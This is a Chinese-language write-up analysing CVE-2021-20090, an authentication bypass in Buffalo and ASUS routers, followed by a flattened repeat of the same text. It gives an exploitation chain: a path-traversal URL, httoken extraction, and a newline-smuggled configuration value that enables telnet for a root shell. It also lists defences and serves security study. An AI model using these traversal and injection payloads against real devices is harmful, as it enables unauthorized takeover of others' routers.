CVE-2021-20090 多款设备身份验证绕过漏洞分析
字数 1130 2025-08-03 16:46:31

CVE-2021-20090 多款设备身份验证绕过漏洞分析与利用

漏洞概述

CVE-2021-20090 是一个影响多款网络设备的身份验证绕过漏洞,主要影响 Buffalo WSR-2533DHP3 和 ASUS DSL-AC68VG 等设备。该漏洞允许攻击者绕过身份验证机制,获取设备管理权限并执行敏感操作。

受影响设备

  • Buffalo WSR-2533DHP3
  • ASUS DSL-AC68VG (固件版本 5.00.08 build272)

漏洞分析

1. 认证绕过机制

漏洞核心在于 evaluate_access() 函数中的认证检查逻辑:

if (bypass_flag || check_auth(r)) {
    // 处理请求
    process_get(r)  process_post(r);
}

其中 bypass_flagbypass_check() 函数设置,检查请求的 URL 是否在 bypass_list 中:

char *bypass_list[] = {
    "/images/",
    "/lang/",
    "/js/",
    "/css/",
    "/setup_top_login.htm",
    "/login.htm",
    "/loginpserr.htm",
    "/login.cgi",
    "/3g_conn.xml",
    "/top_conn.xml",
    "/wireless_calibration.htm",
    "/cgi/cgi_login.js",
    "/cgi/cgi_autologout.js",
    "/internet_paused.htm",
    NULL
};

攻击者可以通过路径遍历技术绕过认证:

/images/..%2finfo.html

2. httoken 机制分析

虽然可以绕过认证,但访问敏感页面还需要正确的 httoken 值:

  1. 服务器端生成 httoken 并嵌入到页面底部的 img 标签中
  2. 客户端 JavaScript 解码 httoken 并用于后续请求

服务器端生成 httoken 的代码 (ssi_image_token 函数):

token = httoken_get(r->url?r->url:"/");
sprintf(output_buf, "%lu", token);
b64_encode((unsigned char *)output_buf, len, (unsigned char *)p, OUT_BASE64_SZ-len);
so_printf(r, "", p);

客户端解码 httoken 的 JavaScript:

function getToken(){
    var objs = document.getElementsByTagName("img");
    for(var i=0, sz=objs.length; i<sz; i++){
        x = objs[i].src;
        if(x.indexOf("data:") == 0){
            return ArcBase.decode(x.substring(78));
        }
    }
    return "";
}

漏洞利用步骤

1. 获取初始访问权限

  1. 访问无需认证的页面 (如 /login.html)
  2. 从页面中的 img 标签提取 httoken
    
    
  3. 解码 base64 部分获取 httoken

2. 绕过认证访问敏感页面

使用路径遍历技术结合获取的 httoken 访问敏感页面:

/images/..%2finfo.html?_tn=<httoken>&t=<timestamp>

3. 注入配置选项

  1. 找到可以注入配置的接口 (如 ping 功能)
  2. 在配置值后添加换行符和新配置:
    ARC_ping_ipaddress=192.168.1.1\nARC_SYS_TelnetdEnable=1
    
  3. 发送重启请求使配置生效

4. 获取 root shell

设备重启后,telnet 服务将启用:

telnet <device_ip>

ASUS DSL-AC68VG 设备分析

  1. 固件获取:可从官网下载受影响版本固件
    https://dlcdnets.asus.com/pub/ASUS/wireless/DSL-AC68VG/DSL-AC68VG_v5.00.08_build272.w.zip
    
  2. 使用 binwalk 解压固件:
    binwalk -Me DSL-AC68VG_v5.00.08_build272.w.zip
    
  3. 查找 httpd 程序:
    find -name httpd
    ./usr/sbin/httpd
    
  4. 分析流程与 Buffalo 设备类似,存在相同的认证绕过和 httoken 机制

防御措施

  1. 更新到最新固件版本
  2. 禁用不必要的管理接口
  3. 实施网络访问控制,限制管理界面访问
  4. 监控设备日志中的异常认证尝试

总结

CVE-2021-20090 漏洞展示了 IoT 设备中常见的认证设计缺陷:

  1. 路径遍历导致的认证绕过
  2. 关键令牌 (httoken) 的客户端处理方式不安全
  3. 配置注入漏洞

该漏洞的利用链完整,从初始访问到最终获取 root shell 的每一步都清晰明确,是研究 IoT 设备安全性的典型案例。

CVE-2021-20090 多款设备身份验证绕过漏洞分析与利用 漏洞概述 CVE-2021-20090 是一个影响多款网络设备的身份验证绕过漏洞,主要影响 Buffalo WSR-2533DHP3 和 ASUS DSL-AC68VG 等设备。该漏洞允许攻击者绕过身份验证机制,获取设备管理权限并执行敏感操作。 受影响设备 Buffalo WSR-2533DHP3 ASUS DSL-AC68VG (固件版本 5.00.08 build272) 漏洞分析 1. 认证绕过机制 漏洞核心在于 evaluate_access() 函数中的认证检查逻辑: 其中 bypass_flag 由 bypass_check() 函数设置,检查请求的 URL 是否在 bypass_list 中: 攻击者可以通过路径遍历技术绕过认证: 2. httoken 机制分析 虽然可以绕过认证,但访问敏感页面还需要正确的 httoken 值: 服务器端生成 httoken 并嵌入到页面底部的 img 标签中 客户端 JavaScript 解码 httoken 并用于后续请求 服务器端生成 httoken 的代码 ( ssi_image_token 函数): 客户端解码 httoken 的 JavaScript: 漏洞利用步骤 1. 获取初始访问权限 访问无需认证的页面 (如 /login.html ) 从页面中的 img 标签提取 httoken : 解码 base64 部分获取 httoken 2. 绕过认证访问敏感页面 使用路径遍历技术结合获取的 httoken 访问敏感页面: 3. 注入配置选项 找到可以注入配置的接口 (如 ping 功能) 在配置值后添加换行符和新配置: 发送重启请求使配置生效 4. 获取 root shell 设备重启后,telnet 服务将启用: ASUS DSL-AC68VG 设备分析 固件获取:可从官网下载受影响版本固件 使用 binwalk 解压固件: 查找 httpd 程序: 分析流程与 Buffalo 设备类似,存在相同的认证绕过和 httoken 机制 防御措施 更新到最新固件版本 禁用不必要的管理接口 实施网络访问控制,限制管理界面访问 监控设备日志中的异常认证尝试 总结 CVE-2021-20090 漏洞展示了 IoT 设备中常见的认证设计缺陷: 路径遍历导致的认证绕过 关键令牌 (httoken) 的客户端处理方式不安全 配置注入漏洞 该漏洞的利用链完整,从初始访问到最终获取 root shell 的每一步都清晰明确,是研究 IoT 设备安全性的典型案例。